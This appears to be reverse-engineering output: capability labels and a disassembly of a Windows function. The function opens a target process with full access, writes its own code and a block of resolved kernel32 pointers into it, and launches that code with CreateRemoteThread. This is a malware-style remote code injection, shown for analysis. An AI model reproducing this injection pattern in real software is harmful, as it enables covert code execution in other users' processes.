Function at 0x401074
Capabilities:
Create thread
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push dword [ebp + 0x10]
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
test eax, eax
mov dword [ebp - 4], eax
jne 0x401093
leave
ret
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
and dword [ebp - 0x1c], 0
mov ebx, 0x1000
push ebx
push eax
mov dword [ebp - 8], eax
call fcn.00401a3b
mov edi, 0x10000
mov esi, eax
push edi
push dword [ebp - 8]
call fcn.00401a3b
push ebx
mov dword [ebp - 0x10], eax
push dword [ebp - 4]
call fcn.00401a3b
push ebx
mov dword [ebp - 0x14], eax
push dword [ebp - 4]
call fcn.00401a3b
add esp, 0x20
mov dword [ebp - 0x18], eax
test esi, esi
je 0x401272
cmp dword [ebp - 0x10], 0
je 0x401272
cmp dword [ebp - 0x14], 0
je 0x401272
test eax, eax
je 0x401272
push str.kernel32.dll
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push edi
push 0
mov dword [ebp + 0x10], eax
call dword [sym.imp.KERNEL32.DLL_GlobalAlloc]
push eax
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.DLL_GlobalLock]
push 0
push edi
push dword [ebp - 0xc]
push dword [ebp + 0x10]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_ReadProcessMemory]
push 9
push 0x4030c8
push edi
push dword [ebp - 0xc]
call fcn.004016fc
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
add esp, 0x10
test eax, eax
je 0x401158
mov ecx, dword [ebp + 0x10]
add eax, ecx
jmp 0x401162
push 0x40310c
push dword [ebp + 0x10]
call edi
push dword [ebp - 0xc]
mov dword [esi], eax
call dword [sym.imp.KERNEL32.DLL_GlobalUnlock]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.DLL_GlobalFree]
push str.DeleteFileA
push dword [ebp + 0x10]
call edi
push str.OpenEventA
mov dword [esi + 4], eax
push dword [ebp + 0x10]
call edi
push 0x4030ec
mov dword [esi + 8], eax
push dword [ebp + 0x10]
call edi
push 0x4030e0
mov dword [esi + 0xc], eax
push dword [ebp + 0x10]
call edi
push str.FreeLibrary
mov dword [esi + 0x10], eax
push dword [ebp + 0x10]
call edi
mov dword [esi + 0x14], eax
lea eax, [esi + 0x18]
test eax, eax
je 0x4011c9
push dword [ebp + 8]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
lea eax, [esi + 0x11c]
test eax, eax
je 0x4011de
push dword [ebp + 0xc]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
lea eax, [esi + 0x220]
push str.32718848
push eax
call sub.MSVCRT.dll_strcpy
mov edi, fcn.00401074
mov eax, section..text
sub edi, eax
push edi
push dword [ebp - 0x10]
push eax
push dword [ebp - 8]
call fcn.004017ae
add esp, 0x18
test eax, eax
je 0x401259
push 0x230
push esi
push dword [ebp - 0x14]
push dword [ebp - 4]
call fcn.004017fd
add esp, 0x10
test eax, eax
je 0x401259
push edi
push dword [ebp - 0x10]
push dword [ebp - 0x18]
push dword [ebp - 4]
call fcn.004017fd
add esp, 0x10
test eax, eax
je 0x401259
xor eax, eax
push eax
push eax
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push 0x400
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_CreateRemoteThread]
mov dword [ebp - 0x1c], eax
push ebx
push esi
push dword [ebp - 8]
call fcn.00401a53
push ebx
push dword [ebp - 0x10]
push dword [ebp - 8]
call fcn.00401a53
add esp, 0x18
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [ebp - 0x1c]
pop edi
pop esi
pop ebx
leave
ret